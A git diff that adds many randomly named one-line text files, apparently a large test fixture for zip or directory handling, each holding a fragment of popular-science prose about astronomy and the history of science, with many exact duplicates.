diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_cwhjofluyatufzzrbjagpq.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_cwhjofluyatufzzrbjagpq.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_cwhjofluyatufzzrbjagpq.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_dceytztkwnpubldagmbas.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_dceytztkwnpubldagmbas.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_dceytztkwnpubldagmbas.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_dmcanzuhpfgckhz.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_dmcanzuhpfgckhz.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_dmcanzuhpfgckhz.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_fvzigslrva.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_fvzigslrva.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_fvzigslrva.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_gftuhdkva.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_gftuhdkva.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_gftuhdkva.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_gswmxamkbirwkfuhfx.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_gswmxamkbirwkfuhfx.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_gswmxamkbirwkfuhfx.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_hhbatnzfaj.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_hhbatnzfaj.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_hhbatnzfaj.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_ienaczujfxxfsgtofoz.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_ienaczujfxxfsgtofoz.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_ienaczujfxxfsgtofoz.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_iiyhpvfgdyiqrbfwssnb.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_iiyhpvfgdyiqrbfwssnb.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_iiyhpvfgdyiqrbfwssnb.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_ldtnbhmmexxoekwbvnjnbu.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_ldtnbhmmexxoekwbvnjnbu.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_ldtnbhmmexxoekwbvnjnbu.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_puyaghqhmk.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_puyaghqhmk.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_puyaghqhmk.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_rnxohptd.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_rnxohptd.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_rnxohptd.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_rzwiwgpnngymacebj.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_rzwiwgpnngymacebj.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_rzwiwgpnngymacebj.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_stooshaquyohnapeca.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_stooshaquyohnapeca.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_stooshaquyohnapeca.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_tnjptbiuulcmfwqdqxtl.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_tnjptbiuulcmfwqdqxtl.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_tnjptbiuulcmfwqdqxtl.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_umqsabfvblaweeyfjjp.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_umqsabfvblaweeyfjjp.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_umqsabfvblaweeyfjjp.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_uylhbiwtxeiqnwaft.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_uylhbiwtxeiqnwaft.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_uylhbiwtxeiqnwaft.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_welfpngqpctbpylnrdhn.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_welfpngqpctbpylnrdhn.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_welfpngqpctbpylnrdhn.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_wmcsvjtnvq.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_wmcsvjtnvq.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_wmcsvjtnvq.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_wmyhlenhefd.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_wmyhlenhefd.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_wmyhlenhefd.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_yqyflqaqeokmmiilrlwfhfby.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_yqyflqaqeokmmiilrlwfhfby.txt
new file mode 100644
index 0000000..0d0b318
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/file_yqyflqaqeokmmiilrlwfhfby.txt
@@ -0,0 +1 @@
+like people, are born, live and die. The lifetime of a human being is measured in decades;
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/acalabbpdgh.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/acalabbpdgh.txt
new file mode 100644
index 0000000..fae6503
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/acalabbpdgh.txt
@@ -0,0 +1 @@
+The development of high-speed computers make possible numerical experiments on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/bcacfjhzomjj.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/bcacfjhzomjj.txt
new file mode 100644
index 0000000..548a52a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/bcacfjhzomjj.txt
@@ -0,0 +1 @@
+science. The Ionians were perfectly able to make machines of some elegance. But the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_biwtibqiolewqvnsgbozuls.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_biwtibqiolewqvnsgbozuls.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_biwtibqiolewqvnsgbozuls.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_gcbjglbjxeajoktjcrkchpmb.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_gcbjglbjxeajoktjcrkchpmb.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_gcbjglbjxeajoktjcrkchpmb.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_golgkgmyaajjdf.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_golgkgmyaajjdf.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_golgkgmyaajjdf.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_hqtdycbxsemisbfi.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_hqtdycbxsemisbfi.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_hqtdycbxsemisbfi.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_ibxrovnoflczvehbdcrgitq.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_ibxrovnoflczvehbdcrgitq.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_ibxrovnoflczvehbdcrgitq.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_ijfslaftxdsvrpkpnvtbqxkf.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_ijfslaftxdsvrpkpnvtbqxkf.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_ijfslaftxdsvrpkpnvtbqxkf.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_kihldjcrxksrjwgmjqycyyqm.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_kihldjcrxksrjwgmjqycyyqm.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_kihldjcrxksrjwgmjqycyyqm.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_lhqqtbjlostoklp.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_lhqqtbjlostoklp.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_lhqqtbjlostoklp.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_lsnqighguxoxxaogedb.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_lsnqighguxoxxaogedb.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_lsnqighguxoxxaogedb.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_nenniagopqdvkntipmv.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_nenniagopqdvkntipmv.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_nenniagopqdvkntipmv.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_nfmqsizfg.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_nfmqsizfg.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_nfmqsizfg.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_rbiquvxfhe.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_rbiquvxfhe.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_rbiquvxfhe.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_tftqmhnqxr.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_tftqmhnqxr.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_tftqmhnqxr.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_tgvuhjytqhmnricmoo.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_tgvuhjytqhmnricmoo.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_tgvuhjytqhmnricmoo.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_vawqjlfdwe.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_vawqjlfdwe.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_vawqjlfdwe.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_ycjawskzlvhib.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_ycjawskzlvhib.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_ycjawskzlvhib.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_zxjxpzacrawzbzlesbteowco.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_zxjxpzacrawzbzlesbteowco.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_zxjxpzacrawzbzlesbteowco.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_zymqpjxvdzivmmfwtec.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_zymqpjxvdzivmmfwtec.txt
new file mode 100644
index 0000000..846501b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/file_zymqpjxvdzivmmfwtec.txt
@@ -0,0 +1 @@
+later to prepare astronomical and meteorological almanacs and to cast horoscopes. ‘God
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/fswnabfyrsjsyxuqrfqv.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/fswnabfyrsjsyxuqrfqv.txt
new file mode 100644
index 0000000..7fc7abd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/fswnabfyrsjsyxuqrfqv.txt
@@ -0,0 +1 @@
+do with planets, but some of them seemed reminiscent in inferior telescopes of the blue-
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/gfgpwybrxxdbuhiyjrqkbwd.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/gfgpwybrxxdbuhiyjrqkbwd.txt
new file mode 100644
index 0000000..3a1a497
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/gfgpwybrxxdbuhiyjrqkbwd.txt
@@ -0,0 +1 @@
+everywhere on Earth. To look for life on Mars, we must look for microbes.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/lhhdcerlpbntoxydcfgvqixm.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/lhhdcerlpbntoxydcfgvqixm.txt
new file mode 100644
index 0000000..5fa52ca
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/lhhdcerlpbntoxydcfgvqixm.txt
@@ -0,0 +1 @@
+astronomical calendar superior to that of any in Europe. Upon viewing the Aztec artifacts
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/ngbzxhgkjgvfhfqzb.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/ngbzxhgkjgvfhfqzb.txt
new file mode 100644
index 0000000..dcfe9b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/ngbzxhgkjgvfhfqzb.txt
@@ -0,0 +1 @@
+* It is, incidentally, some 30 million times more massive than the most massive comet known.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/oqnjjgfmmukft.txt b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/oqnjjgfmmukft.txt
new file mode 100644
index 0000000..1af1c53
--- /dev/null
+++ b/big_zip/big-zip-files/folder_gfdesdtwcu/folder_tvednwdtfl/folder_jrtvqnvzui/folder_gwqtzizhkj/oqnjjgfmmukft.txt
@@ -0,0 +1 @@
+been through one or two previous cycles of stellar alchemy. Second: The existence of
\ No newline at end of file
